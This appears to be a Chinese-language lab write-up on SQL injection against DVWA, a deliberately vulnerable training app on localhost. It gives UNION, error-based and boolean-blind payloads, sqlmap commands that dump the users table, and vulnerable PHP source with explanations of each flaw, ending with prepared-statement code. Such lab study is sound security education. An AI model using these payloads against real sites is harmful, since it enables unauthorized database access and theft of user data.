目錄php
Union注入python
注入點判斷mysql
字段判斷web
獲取數據庫名sql
獲取表名數據庫
獲取列名json
獲取數據緩存
Error注入安全
本篇文章,針對靶機dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全級別使用網絡安全-SQL注入原理及防護SQL注入中提到的SQL注入技術,利用網絡安全-Mysql注入知識點中提到的數據庫函數,使用手工/sqlmap進行sql注入。並根據網絡安全-php安全知識點對LOW、MIDIUM、HIGH、IMPOSSIBLE安全級別的代碼進行解釋。對於非盲注使用UNION注入、ERROR注入、對於盲注,使用BOOLEAN注入和sqlmap,TIME注入耗時過久,沒有采用。
目標:獲取用戶名等感興趣的信息
SQL Injection-LOW
正常提交payload爲1

Union注入
注入點判斷
1 and 1=1#

1 and 1=2#

結論:不是數字型注入。
1' and 1=1#

1' and 1=2#
沒有結果返回

結論:字符型注入,單引號閉合
sql語句猜想
First name即回顯的First name在數據庫中對應的字段,Surname同理
假設表名爲users,User ID 對應的字段爲id
select First name,Surname from users where id = 'User ID'
字段判斷
猜想是2個字段,直接從2開始。
1' order by 2#

再遞增
1' order by 3#
返回異常

結論:猜想正確,字段爲2
獲取數據庫名
1' UNION SELECT 1,database() from information_schema.schemata#

結論:數據庫名 dvwa
獲取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

結論:有兩個表 guestbook、users
獲取列名
假設僅對users表感興趣,其餘表只須要把下面的users改成其餘便可。
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

結論:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
獲取數據
假設:first_name、last_name已返回,咱們對user和avatar感興趣。對其餘的感興趣下面就緩存其餘列。
爲了不分不清各個數據,使用":",即0x3a進行分隔。
1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#

user:admin對應的avatar:/dvwa/hackable/users/admin.jpg,以此類推。
Error注入
注入點判斷、字段判斷和Union注入同樣。當前數據庫就不寫了,用database()函數代替。使用updatexml()函數進行錯誤注入。
獲取表名
0x7e是~,這樣報錯的結果就是~sql語句運行結果~。
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

同理,獲取第二張表只需將上面payload改成limit 1,1便可,再也不贅述。
獲取列名
1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

同理,獲取第二列只需將上面payload改成limit 1,1便可,其他列繼續增長,再也不贅述。
獲取數據
1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#

同理,獲取第二條數據只需將上面payload改成limit 1,1便可,其他數據繼續增長,再也不贅述。
源碼解析
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
主要步驟
- isset檢測變量Submit是否已設置而且非 NULL,即判斷用戶是否點擊了Submit按鈕。
- 獲得用戶提交的數據 id
- 利用用戶數據拼接成sql語句query
- 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯
- 使用mysqli_fetch_assoc函數獲取結果集的一行給變量row
- 使用first、last變量獲取row中的first_name、last_name字段,並使用echo打印 用戶輸入的id和變量first、last
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
沒有進行敏感字符過濾
SQL Injection-MIDIUM

url上沒有參數,是post方式,下拉框進行選擇,只能抓包了。
Union
注入點判斷
payload和LOW級別的Union注入同樣,再也不贅述,有問題下方評論。


結論:數字型,無需閉合
字段判斷、獲取數據庫與LOW一致,沒必要閉合,由在客戶端提交,改成在burpsuite中提交。
例如,數據庫判斷,其餘相似,再也不贅述。
id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit

獲取表名
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

發現單引號被轉義
工具BEJSON,進行字符轉16進制,注意,工具沒有加0x,須要自行添加。

1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#
即'dvwa'轉爲16進制的dvwa 0x64767761

後序步驟相似,將字符轉爲16進制便可。
Error注入
經過上面的Union注入可知,相對於LOW而言,沒必要閉合,由在客戶端提交,改成在burpsuite中提交。
例如,獲取表名:
id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit

後序步驟與LOW級別相似,遇到單引號時,即須要填寫表名時經過16進制進行繞過,再也不贅述,有問題下方評論。
源碼分析
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
步驟
- isset檢測變量Submit是否已設置而且非 NULL,即判斷用戶是否點擊了Submit按鈕。
- 獲得用戶提交的數據 id,使用mysqli_real_escape_string函數進行轉義
- 利用用戶數據拼接成sql語句query
- 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯
- 使用mysqli_fetch_assoc函數獲取結果集的一行給變量row
- 使用first、last變量獲取row中的first_name、last_name字段,並使用echo打印 用戶輸入的id和變量first、last
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
沒有很好的對敏感關鍵字進行過濾。想要利用mysqli_real_escape_string函數進行敏感字符過濾,可是mysqli_real_escape_string函數並不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,僅成功過濾了',屬於開發者對函數功能瞭解的不夠全,網絡安全-php安全知識點中有對該函數的解釋。
SQL Injection-HIGH

點擊按鈕彈出窗口,而後再填寫數據。
Union注入
注入點檢測
1' and 1=1#

1' 1=2#

結論:字符型注入,須要閉合,閉合字符爲 ' ,固然,在這以前我也嘗試了數字型,爲了不文章篇幅過長,再也不贅述。
字段判斷
1'order by 2#

1' order by 3

不是數據庫的出錯提示,估計是使用了or die函數進行的自定義提示,這樣的話估計不能使用Error注入。
結論:字段爲2
獲取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#

這...不作了,除了彈個框,和LOW級別的payload同樣啊,感受沒有加什麼,我覺得會有些過濾,須要繞過的。。。再也不贅述了。
Error注入
注入點判斷、字段判斷和Union注入同樣。當前數據庫就不寫了,用database()函數代替。使用updatexml()函數進行錯誤注入。
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

果真,不能使用Error注入,應該是使用了or die函數。接下來看源代碼吧。
源碼解析
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
主要步驟
- isset檢測Session中的id變量是否已設置而且非 NULL
- 獲得用戶提交的數據 id
- 利用用戶數據拼接成sql語句query,id當作字符串
- 使用mysqli_query函數執行sql語句並返回結果給result,若出錯,使用die函數報錯,錯誤是自定義的
- 使用mysqli_fetch_assoc函數獲取結果集的一行給變量row
- 使用first、last變量獲取row中的first_name、last_name字段,並使用echo打印 用戶輸入的id和變量first、last
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
想要利用session和自定義錯誤返回來增長安全係數,成功的躲過了Error注入方式
SQL Injection(Blind)-LOW
正常提交,payload爲1

沒有回顯,採用盲注
Boolean盲注
注入點判斷、字段判斷和Union注入同樣。
獲取數據庫名
先獲取長度
1' and length(database())>3#

1' and length(database())>4#

結論:數據庫名長度>3但不>4,即數據庫長度爲4。
依次判斷4個字符
1' and substr(database(),1,1)='a'#

第一個字符不是a,上圖的url是進行了編碼,網上找了個工具,進行了解碼,能夠看出就是上面的payload

替換爲字符d
1' and substr(database(),1,1)='d'#
字符d時返回正確。

其他的相似,再也不贅述。 實際上作時,會寫腳本或使用sqlmap,否則工做量太大,寫腳本也不會按照ASCII表去一個個的嘗試,能夠先判斷字符是否是字母,而後再二分查找之類的。
接下來使用sqlmap進行展現,有關sqlmap的知識能夠查看:網絡安全-sqlmap學習筆記
sqlmap
先獲取cookie備用,按F12,控制檯輸入 document.cookie

"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
獲取數據庫名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch

仍是腳本快,1秒解決。sqlmap使用的是mid函數,和substr同樣,能夠查看網絡安全-Mysql注入知識點
結論:數據庫名 dvwa
獲取表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch

結論:dvwa數據庫有2個表,guestbook、users
獲取列名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch

結論:見上圖,不手打了。
獲取數據
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch

還有個csv,裏面和cmd窗口顯示的一致。
源碼解析
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
主要步驟
- isset檢測變量Submit是否已設置而且非 NULL,即判斷用戶是否點擊了Submit按鈕。
- 獲得用戶提交的數據 id
- 利用用戶數據拼接成sql語句getid
- 使用mysqli_query函數執行sql語句並返回結果給result,刪除「or die」來抑制mysql錯誤
- 使用@mysqli_num_rows函數獲取結果集的數量給變量num,經過@來抑制mysql錯誤
- 若num>0,輸出「User ID exists in the database.」,不然輸出」User ID is MISSING from the database.「
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
沒有進行敏感字符過濾
SQL Injection(Blind)-MIDIUM

和MIDDLE級別的非盲注同樣,使用了下拉框,是post方式,另外,沒有回顯。
Boolean盲注
注入點判斷,字段判斷與非盲注同樣
注入點是數字型的,沒必要閉合。
手工
payload與LOW級別的盲注的區別只是少了閉合字符'
以數據庫長度爲例
id=1 and length(database())>3#&Submit=Submit


數據庫長度>3但不>4,即數據庫長度爲4。後續再也不贅述,有問題請下方評論。
sqlmap
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch

不清楚緣由
python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch


搞不定,可能sqlmap沒學好吧,哪位大佬知道緣由,請下方評論,十分感謝!!!這是抓到的包sqli_blind_midium.txt
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1id=1&Submit=Submit
源碼解析
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
主要步驟
- isset檢測變量Submit是否已設置而且非 NULL,即判斷用戶是否點擊了Submit按鈕。
- 獲得用戶提交的數據 id,使用mysqli_real_escape_string函數進行轉義
- 利用用戶數據拼接成sql語句getid
- 使用mysqli_query函數執行sql語句並返回結果給result,刪除「or die」來抑制mysql錯誤
- 使用@mysqli_num_rows函數獲取結果集的數量給變量num,經過@來抑制mysql錯誤
- 若num>0,輸出「User ID exists in the database.」,不然輸出」User ID is MISSING from the database.「
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
沒有很好的對敏感關鍵字進行過濾。想要利用mysqli_real_escape_string函數進行敏感字符過濾,可是mysqli_real_escape_string函數並不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,屬於開發者對函數功能瞭解的不夠全,網絡安全-php安全知識點中有對該函數的解釋。
SQL Injection(Blind)-HIGH

抓包過程和MIDIUM級別的同樣,Proxy抓包,發送到Repeater,爲何粘貼出來呢?由於cookie裏面有id,非盲注高級別的源碼是從SESSION中獲得id,估計這個是從COOKIE中,另外id進行了url編碼。工具:站長URL編碼/解碼
手工注入
payload與LOW級別的盲注的區別只是在彈出的這個框框裏面填寫。
sqlmap
因爲頁面跳轉,,防止了自動化sql注入,目前版本的sqlmap應該沒法成功注入。
源碼分析
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
主要步驟
- isset檢測COOKIE中的id變量是否已設置而且非 NULL
- 獲得用戶提交的數據 id
- 利用用戶數據拼接成sql語句query,id當作字符串
- 使用mysqli_query函數執行sql語句並返回結果給result,不使用or die來抑制mysql錯誤
- 使用mysqli_num_rows函數獲取結果集的數量給變量num,經過@來抑制mysql錯誤
- 若num>0,輸出「User ID exists in the database.」,不然睡眠一會,顯示404。輸出」User ID is MISSING from the database.「
漏洞緣由
沒有進行預編譯
用戶數據拼接了代碼,沒有實現代碼、數據分離
想要利用COOKIE來增長安全係數,抓包可繞過。
IMPOSSIBLE
非盲注
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
主要步驟
- isset檢測Subbmit變量是否已設置而且非 NULL,即判斷是否點擊了Submit進行提交。
- 檢查token
- 獲得用戶提交的數據 id,並判斷是否僅爲數字
- 預編譯、綁定參數、執行sql語句
- 判斷結果是否爲1行,使用first、last變量獲取row中的first_name、last_name字段,並使用echo打印 用戶輸入的id和變量first、last
安全緣由
進行了預編譯,再也不拼接sql語句,而是替換
檢查了token
判斷了數據類型是否僅爲數字
判斷告終果是否僅爲1行
盲注
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
在上面的基礎上,去除了回顯,更加安全。
更多內容查看:網絡安全-自學筆記
喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉載請註明出處,並附有原文連接,謝謝!若有侵權,請及時聯繫。若是您感受有所收穫,自願打賞,可選擇支付寶18833895206(小於),您的支持是我不斷更新的動力。